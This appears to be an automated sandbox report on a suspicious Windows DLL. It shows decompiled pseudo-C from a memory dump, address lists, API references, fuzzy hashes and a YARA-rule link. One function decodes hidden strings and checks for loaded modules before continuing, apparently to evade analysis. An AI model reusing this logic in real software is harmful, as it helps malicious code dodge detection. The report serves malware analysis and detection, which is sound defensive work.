							 *((intOrPtr*)( *_t272 + 0x14)) =  *((intOrPtr*)( *_t272 + 0x14)) + _t252;
							 *(_t272 + 0x5c) =  *(_t272 + 0x5c) + _t252;
							_t227 = _t227 - _t252;
						}
						if(_t227 != 0) {
							E6D804C70( *_t272,  *( *_t272 + 0xc), _t227);
							_t273 = _t273 + 0xc;
							 *( *_t272 + 0xc) =  *( *_t272 + 0xc) + _t227;
							 *((intOrPtr*)( *_t272 + 0x10)) =  *((intOrPtr*)( *_t272 + 0x10)) - _t227;
							 *((intOrPtr*)( *_t272 + 0x14)) =  *((intOrPtr*)( *_t272 + 0x14)) + _t227;
						}
						_t253 = _a8;
						if(_t269 == 0) {
							continue;
						}
					} else {
						if(_t227 != 0 || _t253 == 4) {
							if(_t253 != 0 && _t227 == _t195) {
								goto L7;
							}
						}
					}
					break;
				}
				_t142 =  *_t272;
				_t232 = _a4 -  *((intOrPtr*)(_t142 + 4));
				_a4 = _t232;
				if(_t232 == 0) {
					_t83 = _t272 + 0x6c; // 0xa1ec8b55
					_t254 =  *_t83;
				} else {
					_t59 = _t272 + 0x2c; // 0x8df075ff
					_t224 =  *_t59;
					if(_t232 < _t224) {
						_t65 = _t272 + 0x3c; // 0x830cc483
						_t66 = _t272 + 0x6c; // 0xa1ec8b55
						_t260 =  *_t66;
						__eflags =  *_t65 - _t260 - _t232;
						if( *_t65 - _t260 <= _t232) {
							_t67 = _t272 + 0x38; // 0xf47d8bff
							_t261 = _t260 - _t224;
							 *(_t272 + 0x6c) = _t261;
							memcpy( *_t67,  *_t67 + _t224, _t261);
							_t70 = _t272 + 0x16b0; // 0x7e89ffff
							_t188 =  *_t70;
							_t273 = _t273 + 0xc;
							_t232 = _a4;
							__eflags = _t188 - 2;
							if(_t188 < 2) {
								_t189 = _t188 + 1;
								__eflags = _t189;
								 *(_t272 + 0x16b0) = _t189;
							}
						}
						_t73 = _t272 + 0x38; // 0xf47d8bff
						_t74 = _t272 + 0x6c; // 0xa1ec8b55
						memcpy( *_t73 +  *_t74,  *((intOrPtr*)( *_t272)) - _t232, _t232);
						_t225 = _a4;
						_t273 = _t273 + 0xc;
						_t76 = _t272 + 0x6c;
						 *_t76 =  *(_t272 + 0x6c) + _t225;
						__eflags =  *_t76;
						_t78 = _t272 + 0x6c; // 0xa1ec8b55
						_t184 =  *_t78;
						_t79 = _t272 + 0x2c; // 0x8df075ff
						_t239 =  *_t79;
					} else {
						 *(_t272 + 0x16b0) = 2;
						_t61 = _t272 + 0x38; // 0xf47d8bff
						memcpy( *_t61,  *_t142 - _t224, _t224);
						_t62 = _t272 + 0x2c; // 0x8df075ff
						_t184 =  *_t62;
						_t273 = _t273 + 0xc;
						_t225 = _a4;
						_t239 = _t184;
						 *(_t272 + 0x6c) = _t184;
					}
					_t254 = _t184;
					 *(_t272 + 0x5c) = _t184;
					_t81 = _t272 + 0x16b4; // 0x3c468b3c
					_t185 =  *_t81;
					_t240 = _t239 - _t185;
					_t241 =  <=  ? _t225 : _t240;
					_t242 = ( <=  ? _t225 : _t240) + _t185;
					 *((intOrPtr*)(_t272 + 0x16b4)) = ( <=  ? _t225 : _t240) + _t185;
				}
				if( *(_t272 + 0x16c0) < _t254) {
					 *(_t272 + 0x16c0) = _t254;
				}
				if(_t269 == 0) {
					_t218 = _a8;
					__eflags = _t218;
					if(_t218 == 0) {
						L34:
						_t89 = _t272 + 0x3c; // 0x830cc483
						_t219 =  *_t272;
						_t145 =  *_t89 - _t254 - 1;
						_a4 =  *_t272;
						_t234 = _t254;
						_v16 = _t145;
						_v8 = _t254;
						__eflags =  *((intOrPtr*)(_t219 + 4)) - _t145;
						if( *((intOrPtr*)(_t219 + 4)) > _t145) {
							_v8 = _t254;
							_t95 = _t272 + 0x5c; // 0x23e85000
							_a4 = _t219;
							_t234 = _t254;
							_t97 = _t272 + 0x2c; // 0x8df075ff
							__eflags =  *_t95 -  *_t97;
							if( *_t95 >=  *_t97) {
								_t98 = _t272 + 0x2c; // 0x8df075ff
								_t167 =  *_t98;
								_t259 = _t254 - _t167;
								_t99 = _t272 + 0x38; // 0xf47d8bff
								 *(_t272 + 0x5c) =  *(_t272 + 0x5c) - _t167;
								 *(_t272 + 0x6c) = _t259;
								memcpy( *_t99, _t167 +  *_t99, _t259);
								_t103 = _t272 + 0x16b0; // 0x7e89ffff
								_t170 =  *_t103;
								_t273 = _t273 + 0xc;
								__eflags = _t170 - 2;
								if(_t170 < 2) {
									_t172 = _t170 + 1;
									__eflags = _t172;
									 *(_t272 + 0x16b0) = _t172;
								}
								_t106 = _t272 + 0x2c; // 0x8df075ff
								_t145 = _v16 +  *_t106;
								__eflags = _t145;
								_a4 =  *_t272;
								_t108 = _t272 + 0x6c; // 0xa1ec8b55
								_t234 =  *_t108;
								_v8 = _t234;
							}
						}
						_t111 = _a4 + 4; // 0x0
						_t220 =  *_t111;
						__eflags = _t145 - _t220;
						_t221 =  <=  ? _t145 : _t220;
						_t146 = _t221;
						_a4 = _t221;
						_t222 = _a8;
						__eflags = _t146;
						if(_t146 != 0) {
							_t114 = _t272 + 0x38; // 0xf47d8bff
							E6D804C70(_t255,  *_t114 + _v8, _t146);
							_t273 = _t273 + 0xc;
							_t117 = _t272 + 0x6c;
							 *_t117 =  *(_t272 + 0x6c) + _a4;
							__eflags =  *_t117;
							_t119 = _t272 + 0x6c; // 0xa1ec8b55
							_t234 =  *_t119;
						}
						__eflags =  *(_t272 + 0x16c0) - _t234;
						if( *(_t272 + 0x16c0) < _t234) {
							 *(_t272 + 0x16c0) = _t234;
						}
						_t122 = _t272 + 0x16bc; // 0xec8b55c3
						_t123 = _t272 + 0xc; // 0x452bf84d
						_t257 =  *_t123 - ( *_t122 + 0x2a >> 3);
						__eflags = _t257 - 0xffff;
						_t258 =  >  ? 0xffff : _t257;
						_t124 = _t272 + 0x2c; // 0x8df075ff
						_t151 =  *_t124;
						_t125 = _t272 + 0x5c; // 0x23e85000
						_t235 = _t234 -  *_t125;
						__eflags = _t258 - _t151;
						_t152 =  <=  ? _t258 : _t151;
						__eflags = _t235 - ( <=  ? _t258 : _t151);
						if(_t235 >= ( <=  ? _t258 : _t151)) {
							L49:
							__eflags = _t235 - _t258;
							_t154 =  >  ? _t258 : _t235;
							_a4 =  >  ? _t258 : _t235;
							__eflags = _t222 - 4;
							if(_t222 != 4) {
								L53:
								_t269 = 0;
								__eflags = 0;
							} else {
								_t161 =  *_t272;
								__eflags =  *(_t161 + 4);
								_t154 = _a4;
								if( *(_t161 + 4) != 0) {
									goto L53;
								} else {
									__eflags = _t154 - _t235;
									if(_t154 != _t235) {
										goto L53;
									} else {
										_t269 = _t222 - 3;
									}
								}
							}
							_t131 = _t272 + 0x38; // 0xf47d8bff
							_t132 = _t272 + 0x5c; // 0x23e85000
							E6D805DD0(_t272, _t272,  *_t131 +  *_t132, _t154, _t269);
							_t134 = _t272 + 0x5c;
							 *_t134 =  *(_t272 + 0x5c) + _a4;
							__eflags =  *_t134;
							E6D804B30( *_t134,  *_t272);
						} else {
							__eflags = _t235;
							if(_t235 != 0) {
								L46:
								__eflags = _t222;
								if(_t222 != 0) {
									_t162 =  *_t272;
									__eflags =  *(_t162 + 4);
									if( *(_t162 + 4) == 0) {
										__eflags = _t235 - _t258;
										if(_t235 <= _t258) {
											goto L49;
										}
									}
								}
							} else {
								__eflags = _t222 - 4;
								if(_t222 == 4) {
									goto L46;
								}
							}
						}
						asm("sbb edi, edi");
						_t271 =  ~_t269 & 0x00000002;
						__eflags = _t271;
						return _t271;
					} else {
						__eflags = _t218 - 4;
						if(_t218 == 4) {
							goto L34;
						} else {
							_t173 =  *_t272;
							__eflags =  *(_t173 + 4);
							if( *(_t173 + 4) != 0) {
								goto L34;
							} else {
								_t88 = _t272 + 0x5c; // 0x23e85000
								__eflags = _t254 -  *_t88;
								if(_t254 !=  *_t88) {
									goto L34;
								} else {
									return 1;
								}
							}
						}
					}
				} else {
					return 3;
				}
			}

0x6d802db6
0x6d802dbb
0x6d802dbf
0x6d802dc2
0x6d802dc2
0x6d802dc5
0x6d802dca
0x6d802dcf
0x6d802dd2
0x6d802dd7
0x6d802dda
0x6d802de0
0x6d802de0
0x6d802deb
0x6d802dee
0x6d802df5
0x6d802dfa
0x00000000
0x00000000
0x6d802e00
0x6d802e05
0x6d802e05
0x6d802e0a
0x6d802e10
0x6d802e1a
0x6d802e1f
0x6d802e25
0x6d802e44
0x6d802e47
0x6d802e52
0x6d802e52
0x6d802e52
0x6d802e49
0x6d802e49
0x6d802e4b
0x00000000
0x6d802e4d
0x6d802e4d
0x6d802e4d
0x6d802e4b
0x6d802e5a
0x6d802e5f
0x6d802e64
0x6d802e6a
0x6d802e6e
0x6d802e71
0x6d802e74
0x6d802e7a
0x6d802e7f
0x6d802e82
0x6d802e88
0x6d802e8d
0x6d802e93
0x6d802e99
0x6d802e9e
0x6d802ea1
0x6d802ea6
0x6d802eaa
0x6d802eae
0x6d802eb1
0x6d802eb4
0x6d802ebd
0x6d802ec4
0x6d802ec7
0x6d802eca
0x6d802ecf
0x6d802ed4
0x6d802ed7
0x6d802eda
0x6d802eda
0x6d802ede
0x6d802ee7
0x6d802eee
0x6d802ef1
0x6d802ef6
0x6d802efb
0x6d802efb
0x6d802efe
0x6d802f03
0x00000000
0x00000000
0x6d802e27
0x6d802e29
0x6d802e36
0x00000000
0x00000000
0x6d802e36
0x6d802e29
0x00000000
0x6d802e25
0x6d802f09
0x6d802f0e
0x6d802f11
0x6d802f14
0x6d802fbf
0x6d802fbf
0x6d802f1a
0x6d802f1a
0x6d802f1a
0x6d802f1f
0x6d802f49
0x6d802f4c
0x6d802f4c
0x6d802f51
0x6d802f53
0x6d802f55
0x6d802f58
0x6d802f5b
0x6d802f63
0x6d802f68
0x6d802f68
0x6d802f6e
0x6d802f71
0x6d802f74
0x6d802f77
0x6d802f79
0x6d802f79
0x6d802f7a
0x6d802f7a
0x6d802f77
0x6d802f88
0x6d802f8b
0x6d802f8f
0x6d802f94
0x6d802f97
0x6d802f9a
0x6d802f9a
0x6d802f9a
0x6d802f9d
0x6d802f9d
0x6d802fa0
0x6d802fa0
0x6d802f21
0x6d802f21
0x6d802f31
0x6d802f34
0x6d802f39
0x6d802f39
0x6d802f3c
0x6d802f3f
0x6d802f42
0x6d802f44
0x6d802f44
0x6d802fa3
0x6d802fa5
0x6d802fa8
0x6d802fa8
0x6d802fae
0x6d802fb2
0x6d802fb5
0x6d802fb7
0x6d802fb7
0x6d802fc8
0x6d802fca
0x6d802fca
0x6d802fd2
0x6d802fe0
0x6d802fe3
0x6d802fe5
0x6d803005
0x6d803005
0x6d803008
0x6d80300e
0x6d80300f
0x6d803012
0x6d803014
0x6d803017
0x6d80301a
0x6d80301d
0x6d803021
0x6d803024
0x6d803027
0x6d80302a
0x6d80302c
0x6d80302c
0x6d80302f
0x6d803031
0x6d803031
0x6d803034
0x6d803036
0x6d803039
0x6d803041
0x6d803044
0x6d803049
0x6d803049
0x6d80304f
0x6d803052
0x6d803055
0x6d803057
0x6d803057
0x6d803058
0x6d803058
0x6d803063
0x6d803063
0x6d803063
0x6d803066
0x6d803069
0x6d803069
0x6d80306c
0x6d80306c
0x6d80302f
0x6d803072
0x6d803072
0x6d803075
0x6d803077
0x6d80307a
0x6d80307c
0x6d80307f
0x6d803082
0x6d803084
0x6d803087
0x6d80308f
0x6d803097
0x6d80309a
0x6d80309a
0x6d80309a
0x6d80309d
0x6d80309d
0x6d80309d
0x6d8030a0
0x6d8030a6
0x6d8030a8
0x6d8030a8
0x6d8030ae
0x6d8030b4
0x6d8030bd
0x6d8030c4
0x6d8030c6
0x6d8030c9
0x6d8030c9
0x6d8030cc
0x6d8030cc
0x6d8030cf
0x6d8030d1
0x6d8030d4
0x6d8030d6
0x6d8030f1
0x6d8030f1
0x6d8030f5
0x6d8030f8
0x6d8030fb
0x6d8030fe
0x6d803114
0x6d803114
0x6d803114
0x6d803100
0x6d803100
0x6d803102
0x6d803106
0x6d803109
0x00000000
0x6d80310b
0x6d80310b
0x6d80310d
0x00000000
0x6d80310f
0x6d80310f
0x6d80310f
0x6d80310d
0x6d803109
0x6d803118
0x6d80311b
0x6d803120
0x6d80312a
0x6d80312a
0x6d80312a
0x6d80312d
0x6d8030d8
0x6d8030d8
0x6d8030da
0x6d8030e1
0x6d8030e1
0x6d8030e3
0x6d8030e5
0x6d8030e7
0x6d8030eb
0x6d8030ed
0x6d8030ef
0x00000000
0x00000000
0x6d8030ef
0x6d8030eb
0x6d8030dc
0x6d8030dc
0x6d8030df
0x00000000
0x00000000
0x6d8030df
0x6d8030da
0x6d803137
0x6d803139
0x6d803139
0x6d803144
0x6d802fe7
0x6d802fe7
0x6d802fea
0x00000000
0x6d802fec
0x6d802fec
0x6d802fee
0x6d802ff2
0x00000000
0x6d802ff4
0x6d802ff4
0x6d802ff4
0x6d802ff7
0x00000000
0x6d802ffb
0x6d803004
0x6d803004
0x6d802ff7
0x6d802ff2
0x6d802fea
0x6d802fd6
0x6d802fdf
0x6d802fdf

APIs

memcpy.MSVCRT ref: 6D802EBD
memcpy.MSVCRT ref: 6D802F34
memcpy.MSVCRT ref: 6D802F63
memcpy.MSVCRT ref: 6D802F8F
memcpy.MSVCRT ref: 6D803044

Part of subcall function 6D805DD0: memcpy.MSVCRT ref: 6D805EAE

Part of subcall function 6D804B30: memcpy.MSVCRT ref: 6D804B5A

Memory Dump Source

Source File: 00000004.00000002.508288132.000000006D7F1000.00000020.00020000.sdmp, Offset: 6D7F0000, based on PE: true

Associated: 00000004.00000002.508283147.000000006D7F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508299007.000000006D808000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508304484.000000006D80D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.508309752.000000006D80F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 02feba5ad5f49e0a995842d61c8ce91333d91de9632e587c2a68fb90f2e6a76c
Instruction ID: b5a9d9a56985c23d813a88abcc2b26d7f23e19373dfcf583e867a53f3f1d6946
Opcode Fuzzy Hash: 02feba5ad5f49e0a995842d61c8ce91333d91de9632e587c2a68fb90f2e6a76c
Instruction Fuzzy Hash: 16D12271A04A059FD728CF6DC8C8AAAB7F5FF88344B24892DE88AC7711D771E945CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6D7F4D60, Relevance: 6.4, APIs: 4, Instructions: 432
stringCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E6D7F4D60(intOrPtr* __ecx, void* __edx, void* __fp0) {
				char _v516;
				char _v556;
				char _v564;
				char _v568;
				char _v572;
				char _v576;
				intOrPtr _v580;
				char _v588;
				signed int _v596;
				intOrPtr _v602;
				intOrPtr _v604;
				char _v608;
				CHAR* _v612;
				CHAR* _v616;
				signed int _v620;
				signed int _v624;
				signed int _v628;
				signed int _v632;
				char _v636;
				intOrPtr _t119;
				signed int _t122;
				CHAR* _t124;
				intOrPtr _t125;
				CHAR* _t127;
				WCHAR* _t130;
				intOrPtr _t133;
				intOrPtr _t137;
				WCHAR* _t138;
				intOrPtr _t142;
				WCHAR* _t143;
				CHAR* _t144;
				intOrPtr _t145;
				intOrPtr _t150;
				intOrPtr _t153;
				WCHAR* _t154;
				signed int _t159;
				WCHAR* _t160;
				intOrPtr _t163;
				intOrPtr _t165;
				intOrPtr _t166;
				intOrPtr _t170;
				signed int _t173;
				signed int _t178;
				intOrPtr _t182;
				WCHAR* _t184;
				char _t186;
				WCHAR* _t188;
				intOrPtr _t200;
				intOrPtr _t211;
				signed int _t215;
				char _t220;
				WCHAR* _t231;
				intOrPtr _t235;
				intOrPtr _t238;
				intOrPtr _t239;
				intOrPtr _t246;
				signed int _t248;
				WCHAR* _t249;
				CHAR* _t250;
				intOrPtr _t262;
				void* _t271;
				intOrPtr _t272;
				signed int _t277;
				void* _t278;
				intOrPtr _t280;
				signed int _t282;
				void* _t298;
				void* _t299;
				intOrPtr _t305;
				CHAR* _t326;
				void* _t328;
				WCHAR* _t329;
				intOrPtr _t331;
				WCHAR* _t333;
				signed int _t335;
				intOrPtr* _t337;
				void* _t338;
				void* _t339;
				void* _t353;

				_t353 = __fp0;
				_t337 = (_t335 & 0xfffffff8) - 0x26c;
				_t119 =  *0x6d80e688; // 0x2910590
				_v620 = _v620 & 0x00000000;
				_t328 = __ecx;
				if(( *(_t119 + 0x1898) & 0x00000082) == 0) {
					L7:
					_t14 = E6D7FB7EA(0x6d80b9c4,  &_v516) + 1; // 0x1
					E6D7FA8AF( &_v556, _t14, _t351);
					_t298 = 0x64;
					_t122 = E6D7FA4B3( &_v556, _t298);
					 *0x6d80e748 = _t122;
					if(_t122 != 0) {
						_push(0x4e5);
						_t299 = 0x10;
						 *0x6d80e680 = E6D7FE1FE(0x6d80b9c8, _t299);
						 *_t337 = 0x610;
						_t124 = E6D7F95C2(0x6d80b9c8);
						_push(0);
						_push(_t124);
						_v612 = _t124;
						_t125 =  *0x6d80e688; // 0x2910590
						_t127 = E6D7F92C6(_t125 + 0x228);
						_t338 = _t337 + 0xc;
						_v616 = _t127;
						E6D7F85B6( &_v612);
						_t130 = E6D7FB2AB(_t127);
						_t246 = 3;
						__eflags = _t130;
						if(_t130 != 0) {
							 *((intOrPtr*)(_t328 + 0x10)) = _t239;
							 *_t328 = _t246;
						}
						E6D7F85FB( &_v616, 0xfffffffe);
						_t133 =  *0x6d80e688; // 0x2910590
						_t21 = _t133 + 0x110; // 0x298fd98
						_t22 = _t133 + 0x114; // 0x29106a4
						E6D7F49FE( *((intOrPtr*)( *_t21)), _t22, _t353, _t328, 0, 0);
						_t262 =  *0x6d80e688; // 0x2910590
						_t339 = _t338 + 0x14;
						__eflags =  *((intOrPtr*)(_t262 + 0x101c)) - _t246;
						if( *((intOrPtr*)(_t262 + 0x101c)) == _t246) {
							L17:
							asm("stosd");
							asm("stosd");
							asm("stosd");
							asm("stosd");
							asm("stosd");
							_v572 = _t328;
							_t28 = _t262 + 0x214; // 0x2
							_v576 =  *_t28;
							_t137 =  *0x6d80e680; // 0x0
							_t138 =  *(_t137 + 8);
							__eflags = _t138;
							if(_t138 != 0) {
								 *_t138(0, 0, 1,  &_v568,  &_v564);
							}
							_v620 = _v620 & 0x00000000;
							E6D7FE308(_t353,  &_v576);
							_pop(_t262);
							_t142 =  *0x6d80e6b4; // 0x298fc48
							_t143 =  *((intOrPtr*)(_t142 + 0x10))(0, 0,  &_v620);
							__eflags = _t143;
							if(_t143 == 0) {
								E6D7FE308(_t353,  &_v588);
								_t235 =  *0x6d80e6b4; // 0x298fc48
								_pop(_t262);
								 *((intOrPtr*)(_t235 + 0xc))(_v632);
							}
							__eflags =  *0x6d80e73c;
							if( *0x6d80e73c <= 0) {
								goto L36;
							} else {
								_t165 =  *0x6d80e680; // 0x0
								__eflags =  *(_t165 + 8);
								if( *(_t165 + 8) != 0) {
									_t231 =  *(_t165 + 0xc);
									__eflags = _t231;
									if(_t231 != 0) {
										 *_t231(_v580);
									}
								}
								_t166 =  *0x6d80e688; // 0x2910590
								_t45 = _t166 + 0x214; // 0x2
								_t262 =  *_t45;
								__eflags = _t262 - _t246;
								if(_t262 == _t246) {
									goto L36;
								} else {
									__eflags =  *((intOrPtr*)(_t166 + 4)) - 6;
									if( *((intOrPtr*)(_t166 + 4)) >= 6) {
										__eflags =  *((intOrPtr*)(_t166 + 0x101c)) - _t246;
										if( *((intOrPtr*)(_t166 + 0x101c)) == _t246) {
											E6D7F4998();
											asm("stosd");
											asm("stosd");
											asm("stosd");
											asm("stosd");
											_t170 =  *0x6d80e684; // 0x298faa0
											 *((intOrPtr*)(_t170 + 0xd8))( &_v608);
											_t262 = _v602;
											_t248 = 0x3c;
											_t173 = _t262 + 0x00000002 & 0x0000ffff;
											_v596 = _t173;
											_v620 = _t173 / _t248 + _v604 & 0x0000ffff;
											_t178 = _t262 + 0x0000000e & 0x0000ffff;
											_v624 = _t178;
											_v628 = _t178 / _t248 + _v604 & 0x0000ffff;
											_t182 =  *0x6d80e688; // 0x2910590
											_t184 = E6D7FFC57(_t182 + 0x228, _t178 % _t248, _t353, 0, _t182 + 0x228, 0);
											_t339 = _t339 + 0xc;
											__eflags = _t184;
											if(_t184 >= 0) {
												_t333 = E6D7F85E5(0x1000);
												_v616 = _t333;
												_pop(_t262);
												__eflags = _t333;
												if(_t333 != 0) {
													_t186 = E6D7F109A(_t262, 0x148);
													_t305 =  *0x6d80e688; // 0x2910590
													_v636 = _t186;
													_push(_t305 + 0x648);
													_push(0xa);
													_push(7);
													_t271 = 2;
													E6D7F900E(_t271,  &_v572);
													_t272 =  *0x6d80e688; // 0x2910590
													_t92 = _t272 + 0xa0; // 0x1
													_t188 = E6D7F60C0( &_v572, _t272 + 0x228, 1,  *_t92);
													_t339 = _t339 + 0x18;
													_v632 = _t188;
													__eflags = _t188;
													if(_t188 != 0) {
														_push(_v624 % _t248 & 0x0000ffff);
														_push(_v628 & 0x0000ffff);
														_push(_v596 % _t248 & 0x0000ffff);
														_push(_v620 & 0x0000ffff);
														_push(_v632);
														_push( &_v572);
														_t200 =  *0x6d80e688; // 0x2910590
														__eflags = _t200 + 0x1020;
														E6D7F9621(_t333, 0x1000, _v636, _t200 + 0x1020);
														E6D7F85B6( &_v636);
														E6D7FA953(_t333, 0, 0xbb8, 1);
														E6D7F85FB( &_v632, 0xfffffffe);
														_t339 = _t339 + 0x44;
													}
													E6D7F85FB( &_v616, 0xfffffffe);
													_pop(_t262);
												}
											}
										}
										goto L36;
									}
									__eflags = _t262 - 2;
									if(_t262 != 2) {
										goto L36;
									}
									E6D7F4998();
									asm("stosd");
									asm("stosd");
									asm("stosd");
									asm("stosd");
									_t211 =  *0x6d80e684; // 0x298faa0
									 *((intOrPtr*)(_t211 + 0xd8))( &_v608);
									_t215 = _v602 + 0x00000002 & 0x0000ffff;
									_v628 = _t215;
									_t277 = 0x3c;
									_v632 = _t215 / _t277 + _v604 & 0x0000ffff;
									_t249 = E6D7F85E5(0x1000);
									_v624 = _t249;
									_pop(_t278);
									__eflags = _t249;
									if(_t249 != 0) {
										_t220 = E6D7F95C2(_t278, 0x32d);
										_t280 =  *0x6d80e688; // 0x2910590
										_push(_t280 + 0x228);
										_t282 = 0x3c;
										_v636 = _t220;
										_push(_v628 % _t282 & 0x0000ffff);
										E6D7F9621(_t249, 0x1000, _t220, _v632 & 0x0000ffff);
										E6D7F85B6( &_v636);
										E6D7FA953(_t249, 0, 0xbb8, 1);
										E6D7F85FB( &_v624, 0xfffffffe);
									}
									goto L41;
								}
							}
						} else {
							_t24 = _t262 + 0x214; // 0x2
							_t238 =  *_t24;
							__eflags = _t238 - _t246;
							if(_t238 == _t246) {
								goto L17;
							}
							__eflags =  *((intOrPtr*)(_t262 + 4)) - 6;
							if( *((intOrPtr*)(_t262 + 4)) >= 6) {
								L36:
								_t144 = E6D7F95C2(_t262, 0x610);
								_push(0);
								_push(_t144);
								_v616 = _t144;
								_t145 =  *0x6d80e688; // 0x2910590
								_t329 = E6D7F92C6(_t145 + 0x228);
								_v612 = _t329;
								__eflags = _t329;
								if(_t329 != 0) {
									_t160 = E6D7FB2AB(_t329);
									__eflags = _t160;
									if(_t160 != 0) {
										_t163 =  *0x6d80e684; // 0x298faa0
										 *((intOrPtr*)(_t163 + 0x10c))(_t329);
									}
									E6D7F85FB( &_v612, 0xfffffffe);
								}
								E6D7F85B6( &_v616);
								_t150 =  *0x6d80e688; // 0x2910590
								lstrcpynW(_t150 + 0x438,  *0x6d80e740, 0x105);
								_t153 =  *0x6d80e688; // 0x2910590
								_t154 = _t153 + 0x228;
								__eflags = _t154;
								lstrcpynW(_t154,  *0x6d80e738, 0x105);
								_t331 =  *0x6d80e688; // 0x2910590
								_t117 = _t331 + 0x228; // 0x29107b8
								 *((intOrPtr*)(_t331 + 0x434)) = E6D7F8F9F(_t117, __eflags);
								E6D7F85FB(0x6d80e740, 0xfffffffe);
								E6D7F85FB(0x6d80e738, 0xfffffffe);
								L41:
								_t159 = 0;
								__eflags = 0;
								L42:
								return _t159;
							}
							__eflags = _t238 - 2;
							if(_t238 != 2) {
								goto L36;
							}
							goto L17;
						}
					}
					L8:
					_t159 = _t122 | 0xffffffff;
					goto L42;
				}
				_t250 = E6D7F95A8(0x6e2);
				_v616 = _t250;
				_t326 = E6D7F95A8(0x9f5);
				_v612 = _t326;
				if(_t250 != 0 && _t326 != 0) {
					if(GetModuleHandleA(_t250) != 0 || GetModuleHandleA(_t326) != 0) {
						_v620 = 1;
					}
					E6D7F85A3( &_v616);
					_t122 = E6D7F85A3( &_v612);
					_t351 = _v620;
					if(_v620 != 0) {
						goto L8;
					}
				}
			}

0x6d7f4d60
0x6d7f4d66
0x6d7f4d6c
0x6d7f4d71
0x6d7f4d7f
0x6d7f4d82
0x6d7f4de1
0x6d7f4df3
0x6d7f4df6
0x6d7f4dfd
0x6d7f4e02
0x6d7f4e07
0x6d7f4e0e
0x6d7f4e18
0x6d7f4e1f
0x6d7f4e2a
0x6d7f4e2f
0x6d7f4e36
0x6d7f4e3c
0x6d7f4e3e
0x6d7f4e3f
0x6d7f4e43
0x6d7f4e4e
0x6d7f4e53
0x6d7f4e5c
0x6d7f4e61
0x6d7f4e69
0x6d7f4e70
0x6d7f4e71
0x6d7f4e73
0x6d7f4e8f
0x6d7f4e92
0x6d7f4e92
0x6d7f4e9b
0x6d7f4ea0
0x6d7f4eaa
0x6d7f4eb0
0x6d7f4eb8
0x6d7f4ebd
0x6d7f4ec3
0x6d7f4ec6
0x6d7f4ecc
0x6d7f4eeb
0x6d7f4ef1
0x6d7f4ef2
0x6d7f4ef3
0x6d7f4ef4
0x6d7f4ef5
0x6d7f4ef6
0x6d7f4efa
0x6d7f4f00
0x6d7f4f04
0x6d7f4f09
0x6d7f4f0c
0x6d7f4f0e
0x6d7f4f20
0x6d7f4f20
0x6d7f4f22
0x6d7f4f2e
0x6d7f4f33
0x6d7f4f39
0x6d7f4f42
0x6d7f4f45
0x6d7f4f47
0x6d7f4f52
0x6d7f4f57
0x6d7f4f5c
0x6d7f4f61
0x6d7f4f61
0x6d7f4f64
0x6d7f4f6b
0x00000000
0x6d7f4f71
0x6d7f4f71
0x6d7f4f76
0x6d7f4f7a
0x6d7f4f7c
0x6d7f4f7f
0x6d7f4f81
0x6d7f4f87
0x6d7f4f87
0x6d7f4f81
0x6d7f4f89
0x6d7f4f8e
0x6d7f4f8e
0x6d7f4f94
0x6d7f4f96
0x00000000
0x6d7f4f9c
0x6d7f4f9c
0x6d7f4fa0
0x6d7f5075
0x6d7f507b
0x6d7f5081
0x6d7f508c
0x6d7f508d
0x6d7f508e
0x6d7f508f
0x6d7f5095
0x6d7f509a
0x6d7f50a0
0x6d7f50a8
0x6d7f50ae
0x6d7f50b1
0x6d7f50c0
0x6d7f50c7
0x6d7f50ca
0x6d7f50d7
0x6d7f50db
0x6d7f50e8
0x6d7f50ed
0x6d7f50f0
0x6d7f50f2
0x6d7f5103
0x6d7f5105
0x6d7f5109
0x6d7f510a
0x6d7f510c
0x6d7f5117
0x6d7f511c
0x6d7f5129
0x6d7f512d
0x6d7f512e
0x6d7f5130
0x6d7f5138
0x6d7f5139
0x6d7f513e
0x6d7f5147
0x6d7f5156
0x6d7f515b
0x6d7f515e
0x6d7f5162
0x6d7f5164
0x6d7f5177
0x6d7f5181
0x6d7f5185
0x6d7f518d
0x6d7f518e
0x6d7f5196
0x6d7f5197
0x6d7f519c
0x6d7f51a8
0x6d7f51b2
0x6d7f51c4
0x6d7f51d0
0x6d7f51d5
0x6d7f51d5
0x6d7f51df
0x6d7f51e5
0x6d7f51e5
0x6d7f510c
0x6d7f50f2
0x00000000
0x6d7f507b
0x6d7f4fa6
0x6d7f4fa9
0x00000000
0x00000000
0x6d7f4faf
0x6d7f4fba
0x6d7f4fbb
0x6d7f4fbc
0x6d7f4fbd
0x6d7f4fc3
0x6d7f4fc8
0x6d7f4fdc
0x6d7f4fe1
0x6d7f4fe5
0x6d7f4ff0
0x6d7f4ff9
0x6d7f4ffb
0x6d7f4fff
0x6d7f5000
0x6d7f5002
0x6d7f500d
0x6d7f5013
0x6d7f5025
0x6d7f5028
0x6d7f502b
0x6d7f5038
0x6d7f5040
0x6d7f504a
0x6d7f505c
0x6d7f5068
0x6d7f506d
0x00000000
0x6d7f5002
0x6d7f4f96
0x6d7f4ece
0x6d7f4ece
0x6d7f4ece
0x6d7f4ed4
0x6d7f4ed6
0x00000000
0x00000000
0x6d7f4ed8
0x6d7f4edc
0x6d7f51e6
0x6d7f51eb
0x6d7f51f1
0x6d7f51f3
0x6d7f51f4
0x6d7f51f8
0x6d7f5208
0x6d7f520d
0x6d7f5211
0x6d7f5213
0x6d7f5217
0x6d7f521c
0x6d7f521e
0x6d7f5220
0x6d7f5226
0x6d7f5226
0x6d7f5233
0x6d7f5239
0x6d7f523f
0x6d7f5244
0x6d7f5262
0x6d7f5264
0x6d7f5270
0x6d7f5270
0x6d7f5276
0x6d7f5278
0x6d7f527e
0x6d7f5290
0x6d7f5296
0x6d7f52a2
0x6d7f52aa
0x6d7f52aa
0x6d7f52aa
0x6d7f52ac
0x6d7f52b2
0x6d7f52b2
0x6d7f4ee2
0x6d7f4ee5
0x00000000
0x00000000
0x00000000
0x6d7f4ee5
0x6d7f4ecc
0x6d7f4e10
0x6d7f4e10
0x00000000
0x6d7f4e10
0x6d7f4d8e
0x6d7f4d95
0x6d7f4d9e
0x6d7f4da0
0x6d7f4da6
0x6d7f4db7
0x6d7f4dc0
0x6d7f4dc0
0x6d7f4dcc
0x6d7f4dd5
0x6d7f4dda
0x6d7f4ddf
0x00000000
